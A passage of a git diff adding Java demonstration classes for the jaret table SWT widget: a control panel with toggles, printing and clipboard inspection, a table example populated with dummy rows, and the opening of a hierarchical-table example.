.getFontData()[0].getHeight(), SWT.ITALIC); + style = new TextStyle(font, color, null); + jaretTable.getParent().addDisposeListener(new DisposeListener() { + public void widgetDisposed(DisposeEvent e) { + color.dispose(); + font.dispose(); + } + }); + } + for (int i = 1; i < strStyleText.length(); i++) { + int j = indexOf(s, strStyleText, i, blnIsCaseSensitive); + if (j != -1) { + textLayout.setStyle(style, j, j + strStyleText.length() - 1); + } else { + break; + } + + } + gc.fillRectangle(rect); + textLayout.draw(gc, rect.x, rect.y); + gc.setForeground(Display.getCurrent().getSystemColor(SWT.COLOR_LIST_FOREGROUND)); + } + } + } + public int indexOf(String srcStr, String str, int index, boolean isCaseSensitive) { + if (index == 0) { + return -1; + } + if (index == 1) { + if (isCaseSensitive) { + return srcStr.indexOf(str); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase()); + } + } + if (isCaseSensitive) { + return srcStr.indexOf(str, indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } else { + return srcStr.toUpperCase().indexOf(str.toUpperCase(), + indexOf(srcStr, str, index - 1, isCaseSensitive) + str.length()); + } + } +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableControlPanel.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableControlPanel.java new file mode 100644 index 0000000..89d91fc --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableControlPanel.java @@ -0,0 +1,490 @@ +/* + * File: TableControlPanel.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import org.eclipse.jface.dialogs.Dialog; +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.Clipboard; +import org.eclipse.swt.dnd.HTMLTransfer; +import org.eclipse.swt.dnd.RTFTransfer; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.RGB; +import org.eclipse.swt.layout.RowLayout; +import org.eclipse.swt.printing.Printer; +import org.eclipse.swt.printing.PrinterData; +import org.eclipse.swt.widgets.Button; +import org.eclipse.swt.widgets.Combo; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Scale; + +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.JaretTablePrinter; +import de.jaret.util.ui.table.model.AbstractRowFilter; +import de.jaret.util.ui.table.model.AbstractRowSorter; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableModel; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.simple.SimpleJaretTableModel; +import de.jaret.util.ui.table.print.JaretTablePrintConfiguration; +import de.jaret.util.ui.table.print.JaretTablePrintDialog; +import de.jaret.util.ui.table.renderer.DefaultTableHeaderRenderer; +import de.jaret.util.ui.table.renderer.ICellStyle; +import de.jaret.util.ui.table.renderer.IStyleStrategy; +import de.jaret.util.ui.table.strategies.DefaultCCPStrategy; + +/** + * Simple controlpanel for a jaret table (demonstration and test). + * + * @author Peter Kliem + * @version $Id: TableControlPanel.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class TableControlPanel extends Composite { + + private JaretTable _table; + + public TableControlPanel(Composite arg0, int arg1, JaretTable table) { + super(arg0, arg1); + _table = table; + createControls(); + } + + /** + * @param panel + */ + private void createControls() { + RowLayout rl = new RowLayout(); + rl.type = SWT.HORIZONTAL; + this.setLayout(rl); + + Composite col1 = new Composite(this, SWT.NULL); + rl = new RowLayout(); + rl.type = SWT.VERTICAL; + col1.setLayout(rl); + Composite col2 = new Composite(this, SWT.NULL); + rl = new RowLayout(); + rl.type = SWT.VERTICAL; + col2.setLayout(rl); + Composite col3 = new Composite(this, SWT.NULL); + rl = new RowLayout(); + rl.type = SWT.VERTICAL; + col3.setLayout(rl); + + final Button autoFilterCheck = new Button(col1, SWT.CHECK); + autoFilterCheck.setText("AutoFilter"); + autoFilterCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setAutoFilterEnable(autoFilterCheck.getSelection()); + } + }); + + final Button drawHeaderCheck = new Button(col1, SWT.CHECK); + drawHeaderCheck.setSelection(_table.getDrawHeader()); + drawHeaderCheck.setText("Draw header"); + drawHeaderCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setDrawHeader(drawHeaderCheck.getSelection()); + } + }); + + final Button fillDragCheck = new Button(col1, SWT.CHECK); + fillDragCheck.setSelection(_table.isSupportFillDragging()); + fillDragCheck.setText("Support fill dragging"); + fillDragCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setSupportFillDragging(fillDragCheck.getSelection()); + } + }); + + Button b = new Button(col2, SWT.PUSH); + b.setText("Print"); + b.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + print(); + } + }); + final Scale headerRotationScale = new Scale(col2, SWT.HORIZONTAL); + headerRotationScale.setMaximum(90); + headerRotationScale.setMinimum(0); + headerRotationScale.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent ev) { + int val = headerRotationScale.getSelection(); + ((DefaultTableHeaderRenderer) _table.getHeaderRenderer()).setRotation(val); + if (val > 0) { + _table.setHeaderHeight(50); + } else { + _table.setHeaderHeight(18); + } + _table.redraw(); + } + }); + + final Button allowHeaderResizeCheck = new Button(col1, SWT.CHECK); + allowHeaderResizeCheck.setSelection(_table.getDrawHeader()); + allowHeaderResizeCheck.setText("Allow header resize"); + allowHeaderResizeCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setHeaderResizeAllowed(allowHeaderResizeCheck.getSelection()); + } + + }); + final Button allowRowResizeCheck = new Button(col1, SWT.CHECK); + allowRowResizeCheck.setSelection(_table.getDrawHeader()); + allowRowResizeCheck.setText("Allow row resize"); + allowRowResizeCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setRowResizeAllowed(allowRowResizeCheck.getSelection()); + } + }); + + final Button allowColResizeCheck = new Button(col1, SWT.CHECK); + allowColResizeCheck.setSelection(_table.getDrawHeader()); + allowColResizeCheck.setText("Allow column resize"); + allowColResizeCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setColumnResizeAllowed(allowColResizeCheck.getSelection()); + } + + }); + + Label l = new Label(col2, SWT.NULL); + l.setText("Fixed columns"); + + final Combo fixedColCombo = new Combo(col2, SWT.BORDER | SWT.READ_ONLY); + fixedColCombo.setItems(new String[] {"0", "1", "2", "3", "4"}); + fixedColCombo.select(0); + fixedColCombo.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setFixedColumns(fixedColCombo.getSelectionIndex()); + } + }); + + l = new Label(col2, SWT.NULL); + l.setText("Fixed rows"); + + final Combo fixedRowCombo = new Combo(col2, SWT.BORDER | SWT.READ_ONLY); + fixedRowCombo.setItems(new String[] {"0", "1", "2", "3", "4"}); + fixedRowCombo.select(0); + fixedRowCombo.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setFixedRows(fixedRowCombo.getSelectionIndex()); + } + }); + + final Button resizeRestrictionCheck = new Button(col1, SWT.CHECK); + resizeRestrictionCheck.setSelection(_table.getResizeRestriction()); + resizeRestrictionCheck.setText("Restrict resizing to headers/row headers"); + resizeRestrictionCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setResizeRestriction(resizeRestrictionCheck.getSelection()); + } + }); + + final Button excludeFixedRowsCheck = new Button(col1, SWT.CHECK); + excludeFixedRowsCheck.setSelection(_table.getExcludeFixedRowsFromSorting()); + excludeFixedRowsCheck.setText("Exclude fixed rows from sorting"); + excludeFixedRowsCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + _table.setExcludeFixedRowsFromSorting(excludeFixedRowsCheck.getSelection()); + } + + }); + + final Button rowFilterCheck = new Button(col1, SWT.CHECK); + rowFilterCheck.setSelection(false); + rowFilterCheck.setText("Set rowfilter (even char count on col2)"); + rowFilterCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = rowFilterCheck.getSelection(); + if (sel) { + _table.setRowFilter(new AbstractRowFilter() { + + public boolean isInResult(IRow row) { + return ((DummyRow) row).getT2() != null && ((DummyRow) row).getT2().length() % 2 == 0; + } + + }); + } else { + _table.setRowFilter(null); + } + + } + }); + + final Button rowSorterCheck = new Button(col1, SWT.CHECK); + rowSorterCheck.setSelection(false); + rowSorterCheck.setText("Set rowsorter (char count on col3)"); + rowSorterCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = rowSorterCheck.getSelection(); + if (sel) { + _table.setRowSorter(new AbstractRowSorter() { + + public int compare(IRow o1, IRow o2) { + int c1 = ((DummyRow) o1).getT3() != null ? ((DummyRow) o1).getT3().length() : 0; + int c2 = ((DummyRow) o2).getT3() != null ? ((DummyRow) o2).getT3().length() : 0; + + return c1 - c2; + } + + }); + } else { + _table.setRowSorter(null); + } + + } + + }); + + final Button onlyRowSelectionCheck = new Button(col1, SWT.CHECK); + onlyRowSelectionCheck.setSelection(false); + onlyRowSelectionCheck.setText("Only row selection allowed"); + onlyRowSelectionCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = onlyRowSelectionCheck.getSelection(); + _table.getSelectionModel().setOnlyRowSelectionAllowed(sel); + _table.getSelectionModel().clearSelection(); + } + }); + + final Button optimizeScrollingCheck = new Button(col1, SWT.CHECK); + optimizeScrollingCheck.setSelection(_table.getOptimizeScrolling()); + optimizeScrollingCheck.setText("Optimize scrolling"); + optimizeScrollingCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = optimizeScrollingCheck.getSelection(); + _table.setOptimizeScrolling(sel); + } + }); + + /** + * Style strategy coloring the background of odd row indizes. The implementation is brute force creating + * tons of objects underway ... so be careful. + */ + final IStyleStrategy _styleStrategy = new IStyleStrategy() { + + public ICellStyle getCellStyle(IRow row, IColumn column, ICellStyle incomingStyle, + ICellStyle defaultCellStyle) { + if (_table.getInternalRowIndex(row) % 2 == 0) { + return incomingStyle; + } else { + ICellStyle s = incomingStyle.copy(); + s.setBackgroundColor(new RGB(230, 230, 230)); + return s; + } + } + + }; + + final Button bgColoringCheck = new Button(col1, SWT.CHECK); + bgColoringCheck.setSelection(_table.getTableViewState().getCellStyleProvider().getStyleStrategy() != null); + bgColoringCheck.setText("BG coloring (IStyleStrategy)"); + bgColoringCheck.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = bgColoringCheck.getSelection(); + if (!sel) { + _table.getTableViewState().getCellStyleProvider().setStyleStrategy(null); + _table.redraw(); + } else { + _table.getTableViewState().getCellStyleProvider().setStyleStrategy(_styleStrategy); + _table.redraw(); + } + } + }); + + Button b2 = new Button(col2, SWT.PUSH); + b2.setText("Spawn new window"); + b2.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + // hack + if (_table.getHierarchicalModel() == null) { + if (_table.getTableModel() instanceof SimpleJaretTableModel) { + new SimpleModelExample(_table.getTableModel()); + } else { + new TableExample(_table.getTableModel()); + } + } else { + new TableHierarchicalExample(_table.getHierarchicalModel()); + } + } + + }); + + b2 = new Button(col2, SWT.PUSH); + b2.setText("Start changing bars"); + b2.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + for (int i = 0; i < _table.getTableModel().getRowCount(); i++) { + Runnable r = new Changer(_table.getTableModel(), i); + Thread t = new Thread(r); + t.start(); + } + } + }); + + b2 = new Button(col3, SWT.PUSH); + b2.setText("Set heightmode OPTIMAL"); + b2.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + _table.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.OPTIMAL); + } + }); + + b2 = new Button(col3, SWT.PUSH); + b2.setText("Set heightmode OPTANDVAR"); + b2.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + _table.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.OPTANDVAR); + } + }); + + b2 = new Button(col3, SWT.PUSH); + b2.setText("Set heightmode VARIABLE"); + b2.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + _table.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.VARIABLE); + } + }); + + b2 = new Button(col3, SWT.PUSH); + b2.setText("Set heightmode FIXED"); + b2.addSelectionListener(new SelectionAdapter() { + public void widgetSelected(SelectionEvent arg0) { + _table.getTableViewState().setRowHeightMode(ITableViewState.RowHeightMode.FIXED); + } + }); + + l = new Label(col3, SWT.NULL); + l.setText("Column resize mode"); + final Combo colModeCombo = new Combo(col3, SWT.BORDER | SWT.READ_ONLY); + colModeCombo.setItems(new String[] {"NONE", "SUBSEQUENT", "ALLSUBSEQUENT", "ALL"}); + colModeCombo.select(0); + colModeCombo.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + String sel = colModeCombo.getText(); + _table.getTableViewState().setColumnResizeMode(ITableViewState.ColumnResizeMode.valueOf(sel)); + } + }); + + b2 = new Button(col3, SWT.PUSH); + b2.setText("Clipboard info"); + b2.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + Clipboard cb = new Clipboard(Display.getCurrent()); + + System.out.println("Clipboard info"); + TextTransfer textTransfer = TextTransfer.getInstance(); + Object content = cb.getContents(textTransfer); + if (content != null) { + System.out.println("TEXT: " + content.getClass() + ":" + content.toString()); + } + + RTFTransfer rtfTransfer = RTFTransfer.getInstance(); + content = cb.getContents(rtfTransfer); + if (content != null) { + System.out.println("RTF: " + content.getClass() + ":" + content.toString()); + } + + HTMLTransfer htmlTransfer = HTMLTransfer.getInstance(); + content = cb.getContents(htmlTransfer); + if (content != null) { + System.out.println("HTML: " + content.getClass() + ":" + content.toString()); + } + } + + }); + + final Button includeColHeadingsWhenCopying = new Button(col3, SWT.CHECK); + includeColHeadingsWhenCopying.setText("Include col header when copying"); + if (_table.getCcpStrategy() instanceof DefaultCCPStrategy) { + DefaultCCPStrategy stategy = (DefaultCCPStrategy) _table.getCcpStrategy(); + includeColHeadingsWhenCopying.setSelection(stategy.getIncludeHeadersInCopy()); + includeColHeadingsWhenCopying.addSelectionListener(new SelectionAdapter() { + + public void widgetSelected(SelectionEvent arg0) { + boolean sel = includeColHeadingsWhenCopying.getSelection(); + DefaultCCPStrategy stategy = (DefaultCCPStrategy) _table.getCcpStrategy(); + stategy.setIncludeHeadersInCopy(sel); + } + }); + } else { + includeColHeadingsWhenCopying.setEnabled(false); + } + + } + + public class Changer implements Runnable { + IJaretTableModel _model; + int _idx; + + public Changer(IJaretTableModel model, int idx) { + _model = model; + _idx = idx; + } + + public void run() { + DummyRow r = (DummyRow) _model.getRow(_idx); + while (r.getInteger() < 100) { + System.out.println("Index " + _idx + " val " + r.getInteger()); + r.setInteger(r.getInteger() + 1); + try { + Thread.sleep((long) (Math.random() * 1000)); + } catch (InterruptedException e) { + e.printStackTrace(); + } + } + + } + } + + public void print() { + JaretTablePrinter jtp = new JaretTablePrinter(null, _table); + JaretTablePrintDialog pDialog = new JaretTablePrintDialog(Display.getCurrent().getActiveShell(), null, jtp, + null); + + pDialog.open(); + if (pDialog.getReturnCode() == Dialog.OK) { + PrinterData pdata = pDialog.getPrinterData(); + JaretTablePrintConfiguration conf = pDialog.getConfiguration(); + Printer printer = new Printer(pdata); + jtp.setPrinter(printer); + jtp.print(conf); + + printer.dispose(); + } + jtp.dispose(); + + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableExample.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableExample.java new file mode 100644 index 0000000..f5478f2 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableExample.java @@ -0,0 +1,214 @@ +/* + * File: TableExample.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import java.util.ArrayList; +import java.util.Date; +import java.util.List; + +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.swt.SWT; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.examples.table.renderer.RiskCellEditor; +import de.jaret.examples.table.renderer.RiskRenderer; +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.editor.IntegerCellEditor; +import de.jaret.util.ui.table.editor.ObjectComboEditor; +import de.jaret.util.ui.table.model.DefaultJaretTableModel; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IJaretTableModel; +import de.jaret.util.ui.table.model.ITableViewState; +import de.jaret.util.ui.table.model.PropCol; +import de.jaret.util.ui.table.model.PropListeningTableModel; +import de.jaret.util.ui.table.renderer.BarCellRenderer; +import de.jaret.util.ui.table.renderer.DefaultCellStyle; +import de.jaret.util.ui.table.renderer.ObjectImageRenderer; +import de.jaret.util.ui.table.renderer.SmileyCellRenderer; +import de.jaret.util.ui.table.util.action.JaretTableActionFactory; + +/** + * Simple example for demonstrating the use of the jaret table. + * + * @author Peter Kliem + * @version $Id: TableExample.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class TableExample { + + Shell _shell; + IJaretTableModel _tableModel; + + public TableExample(IJaretTableModel tableModel) { + _tableModel = tableModel; + _shell = new Shell(Display.getCurrent()); + _shell.setText("jaret table example"); + createControls(); + _shell.open(); + Display display; + display = _shell.getDisplay(); + _shell.pack(); + _shell.setSize(1000, 700); + + /* + * do the event loop until the shell is closed to block the call + */ + while (_shell != null && !_shell.isDisposed()) { + try { + if (!display.readAndDispatch()) + display.sleep(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + display.update(); + } + + JaretTable _jt; + + /** + * Create the controls that compose the console test. + * + */ + protected void createControls() { + GridLayout gl = new GridLayout(); + gl.numColumns = 1; + _shell.setLayout(gl); + + GridData gd = new GridData(GridData.FILL_BOTH); + + _jt = new JaretTable(_shell, SWT.V_SCROLL | SWT.H_SCROLL); + _jt.setLayoutData(gd); + + if (_tableModel == null) { + DefaultJaretTableModel model = new PropListeningTableModel(); + + model.addRow(new DummyRow("r1", "The quick brown fox jumps over the crazy dog.", "Mars", true, new Date(), + TableExample.getImageRegistry().get("splash"))); + model.addRow(new DummyRow("r2", "Dogma i am god", "Venus", true, new Date())); + model + .addRow(new DummyRow( + "r3", + "Wenn der kleine Blindtext einmal gro� und wichtig geworden ist, wird er bedeutungsschwanger die Welt erorbern.", + "Jupiter", true, new Date(), TableExample.getImageRegistry().get("keyboard"))); + model.addRow(new DummyRow("r4", "wewe we wew e we we we w ewe", "Uranus", true, new Date())); + model.addRow(new DummyRow("r5", "sdjg sd jhgd dsh hjsgfjhgdf", "Pluto", true, new Date())); + model.addRow(new DummyRow("r6", "wewe we wew e we we we w ewe", "Earth", true, new Date())); + model.addRow(new DummyRow("r7", "wewe we wew e we we we w ewe", "Mars", false, new Date())); + model.addRow(new DummyRow("r8", "wewe we wew e we we we w ewe", "Sun", false, new Date())); + model.addRow(new DummyRow("r9", "wewe we wew e we we we w ewe", "Earth", true, new Date())); + model.addRow(new DummyRow("ra", "wewe we wew e we we we w ewe", "Saturn", true, new Date())); + model.addRow(new DummyRow("rb", "wewe we wew e we we we w ewe", "Saturn", true, new Date())); + model.addRow(new DummyRow("rc", "wewe we wew e we we we w ewe", "Pluto", true, new Date())); + model.addRow(new DummyRow("rd", "wewe we wew e we we we w ewe", "Jupiter", true, new Date())); + model.addRow(new DummyRow("re", "This is the last row in the sort order of the model!", "Mars", true, + new Date())); + + IColumn ct1 = new PropCol("t1", "column 1", "T1"); + model.addColumn(ct1); + model.addColumn(new PropCol("d1", "Date", "D1")); + model.addColumn(new PropCol("t2", "column 2", "T2")); + model.addColumn(new PropCol("t3", "column 3", "T3")); + model.addColumn(new PropCol("b1", "column 4", "B1")); + model.addColumn(new PropCol("i1", "column 5", "Img")); + model.addColumn(new PropCol("integer", "column 6", "Integer", Integer.class)); + model.addColumn(new PropCol("integer2", "Integer", "Integer", Integer.class)); + model.addColumn(new PropCol("integer3", "Smiley", "Integer", Integer.class)); + model.addColumn(new PropCol("Risk", "Risk", "Risk")); + model.addColumn(new PropCol("RiskProb", "RProb", "RiskProb")); + model.addColumn(new PropCol("RiskSeverity", "RSeverity", "RiskSeverity")); + model.addColumn(new PropCol("Enum", "EnumTest", "EnumProperty")); + model.addColumn(new PropCol("double", "Double", "Adouble")); + model.addColumn(new PropCol("x1", "ComboEdit", "X1")); + model.addColumn(new PropCol("Enum2", "EnumImage", "EnumProperty")); + + _tableModel = model; + } + + DefaultCellStyle cs = (DefaultCellStyle) _jt.getTableViewState().getCellStyleProvider().getDefaultCellStyle() + .copy(); + cs.setHorizontalAlignment(ITableViewState.HAlignment.RIGHT); + _jt.getTableViewState().getCellStyleProvider().setColumnCellStyle(_tableModel.getColumn(0), cs); + _jt.getTableViewState().getCellStyleProvider().setColumnCellStyle(_tableModel.getColumn(7), cs); + _jt.getTableViewState().getCellStyleProvider().setColumnCellStyle(_tableModel.getColumn(10), cs); + + _jt.registerCellRenderer(_tableModel.getColumn(2), new StyleTextCellRenderer("we", false)); + _jt.registerCellRenderer(_tableModel.getColumn(6), new BarCellRenderer()); + _jt.registerCellRenderer(_tableModel.getColumn(8), new SmileyCellRenderer()); + // risk renderer and editor + _jt.registerCellRenderer(DummyRow.Risk.class, new RiskRenderer()); + _jt.registerCellEditor(DummyRow.Risk.class, new RiskCellEditor()); + // risk values 1 to 3 + _jt.registerCellEditor(_tableModel.getColumn(10), new IntegerCellEditor(1, 3)); + _jt.registerCellEditor(_tableModel.getColumn(11), new IntegerCellEditor(1, 3)); + + ObjectImageRenderer oiRenderer = new ObjectImageRenderer(); + oiRenderer.addObjectRessourceNameMapping(DummyRow.TestEnum.ENUMVAL1, "1", + "/de/jaret/examples/table/warning.gif"); + oiRenderer.addObjectRessourceNameMapping(DummyRow.TestEnum.ENUMVAL2, "2", "/de/jaret/examples/table/error.gif"); + oiRenderer.addObjectRessourceNameMapping(DummyRow.TestEnum.ENUMVAL3, "3", + "/de/jaret/examples/table/information.gif"); + _jt.registerCellRenderer(_tableModel.getColumn(15), oiRenderer); + + List l = new ArrayList(); + l.add("first text"); + l.add("second text"); + l.add("third text"); + ObjectComboEditor oce = new ObjectComboEditor(l, null, true, "this is null"); + _jt.registerCellEditor(((DefaultJaretTableModel) _tableModel).getColumn("x1"), oce); + + _jt.setTableModel(_tableModel); + + + + // register autofilters + _jt.registerAutoFilterForClass(Integer.class, SampleIntegerAutoFilter.class); + _jt.registerAutoFilterForColumn(_tableModel.getColumn(2), SampleTextAutoFilter.class); + + + JaretTableActionFactory af = new JaretTableActionFactory(); + + MenuManager mm = new MenuManager(); + mm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_CONFIGURECOLUMNS)); + _jt.setHeaderContextMenu(mm.createContextMenu(_jt)); + + MenuManager rm = new MenuManager(); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTROWHEIGHT)); + rm.add(af.createStdAction(_jt, JaretTableActionFactory.ACTION_OPTALLROWHEIGHTS)); + _jt.setRowContextMenu(rm.createContextMenu(_jt)); + + TableControlPanel ctrlPanel = new TableControlPanel(_shell, SWT.NULL, _jt); + + } + + static ImageRegistry _imageRegistry; + + public static ImageRegistry getImageRegistry() { + if (_imageRegistry == null) { + _imageRegistry = new ImageRegistry(); + ImageDescriptor imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/splash.bmp"); + _imageRegistry.put("splash", imgDesc); + imgDesc = new ResourceImageDescriptor("/de/jaret/examples/table/keyboard.png"); + _imageRegistry.put("keyboard", imgDesc); + } + return _imageRegistry; + } + + public static void main(String args[]) { + TableExample te = new TableExample(null); + } + +} diff --git a/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableHierarchicalExample.java b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableHierarchicalExample.java new file mode 100644 index 0000000..56312c3 --- /dev/null +++ b/base_plugins/de.jaret.util.ui.table/src/de/jaret/examples/table/TableHierarchicalExample.java @@ -0,0 +1,382 @@ +/* + * File: TableHierarchicalExample.java + * Copyright (c) 2004-2007 Peter Kliem (Peter.Kliem@jaret.de) + * A commercial license is available, see http://www.jaret.de. + * + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Common Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/cpl-v10.html + */ +package de.jaret.examples.table; + +import org.eclipse.jface.action.MenuManager; +import org.eclipse.jface.resource.ImageDescriptor; +import org.eclipse.jface.resource.ImageRegistry; +import org.eclipse.jface.viewers.ILabelProvider; +import org.eclipse.jface.viewers.ILabelProviderListener; +import org.eclipse.swt.SWT; +import org.eclipse.swt.dnd.DND; +import org.eclipse.swt.dnd.DragSource; +import org.eclipse.swt.dnd.DragSourceEvent; +import org.eclipse.swt.dnd.DragSourceListener; +import org.eclipse.swt.dnd.DropTarget; +import org.eclipse.swt.dnd.DropTargetEvent; +import org.eclipse.swt.dnd.DropTargetListener; +import org.eclipse.swt.dnd.TextTransfer; +import org.eclipse.swt.dnd.Transfer; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.events.SelectionAdapter; +import org.eclipse.swt.events.SelectionEvent; +import org.eclipse.swt.graphics.Image; +import org.eclipse.swt.layout.GridData; +import org.eclipse.swt.layout.GridLayout; +import org.eclipse.swt.widgets.Composite; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Label; +import org.eclipse.swt.widgets.Scale; +import org.eclipse.swt.widgets.Shell; + +import de.jaret.util.ui.ResourceImageDescriptor; +import de.jaret.util.ui.table.JaretTable; +import de.jaret.util.ui.table.model.DefaultHierarchicalTableModel; +import de.jaret.util.ui.table.model.HierarchyColumn; +import de.jaret.util.ui.table.model.IColumn; +import de.jaret.util.ui.table.model.IHierarchicalJaretTableModel; +import de.jaret.util.ui.table.model.IRow; +import de.jaret.util.ui.table.model.ITableNode; +import de.jaret.util.ui.table.model.PropCol; +import de.jaret.util.ui.table.model.StdHierarchicalTableModel; +import de.jaret.util.ui.table.renderer.TableHierarchyRenderer; +import de.jaret.util.ui.table.util.action.JaretTableActionFactory; + +/** + * Simple example showing the hierarchical model. Shows a very simple darg and drop handling allowing to move single + * rows in the table. + * + * @author kliem + * @version $Id: TableHierarchicalExample.java,v 1.1 2012-05-07 01:34:39 jason Exp $ + */ +public class TableHierarchicalExample { + + /** + * If set to true, simple node drag and drop will be enabled. This is disabledin the example by default, since it is + * far from perfect. + */ + private static final boolean SUPPORT_DND = false; + + private Shell _shell; + private JaretTable _jt; + + public TableHierarchicalExample(IHierarchicalJaretTableModel hierarchicalModel) { + _shell = new Shell(Display.getCurrent()); + _shell.setText("jaret table hierarchical example"); + createControls(hierarchicalModel); + _shell.open(); + Display display; + display = _shell.getDisplay(); + _shell.pack(); + _shell.setSize(400, 700); + + /* + * do the event loop until the shell is closed to block the call + */ + while (_shell != null && !_shell.isDisposed()) { + try { + if (!display.readAndDispatch()) + display.sleep(); + } catch (Throwable e) { + e.printStackTrace(); + } + } + display.update(); + } + + /** + * Create the controls that compose the console test. + * + */ + protected void createControls(IHierarchicalJaretTableModel hierarchicalModel) { + GridLayout gl = new GridLayout(); + gl.numColumns = 1; + _shell.setLayout(gl); + + GridData gd = new GridData(GridData.FILL_BOTH); + + _jt = new JaretTable(_shell, SWT.V_SCROLL | SWT.H_SCROLL); + _jt.setLayoutData(gd); + + IHierarchicalJaretTableModel hmodel = hierarchicalModel; + + if (hierarchicalModel == null) { + + ITableNode root = new DummyTableNode("tn1", "tn1", "Root", "This the root node"); + ITableNode r1 = new DummyTableNode("tn11", "tn12", "1", "Child 1 of the root"); + ITableNode r2 = new DummyTableNode("tn12", "tn12", "2", "Child 2 of the root"); + ITableNode r3 = new DummyTableNode("tn13", "tn13", "3", "Child 3 of the root"); + root.addNode(r1); + root.addNode(r2); + root.addNode(r3); + + r1.addNode(new DummyTableNode("tn111", "tn111", "1", "A second level child")); + r1.addNode(new DummyTableNode("tn112", "tn112", "2", "Another second level child")); + + ITableNode n1 = new DummyTableNode("tn131", "tn131", "1", "A second level child"); + r3.addNode(n1); + ITableNode n2 = new DummyTableNode("tn132", "tn132", "2", "Another second level child"); + r3.addNode(n2); + + n1.addNode(new DummyTableNode("tn1311", "tn1311", "1", "A third level child")); + n1.addNode(new 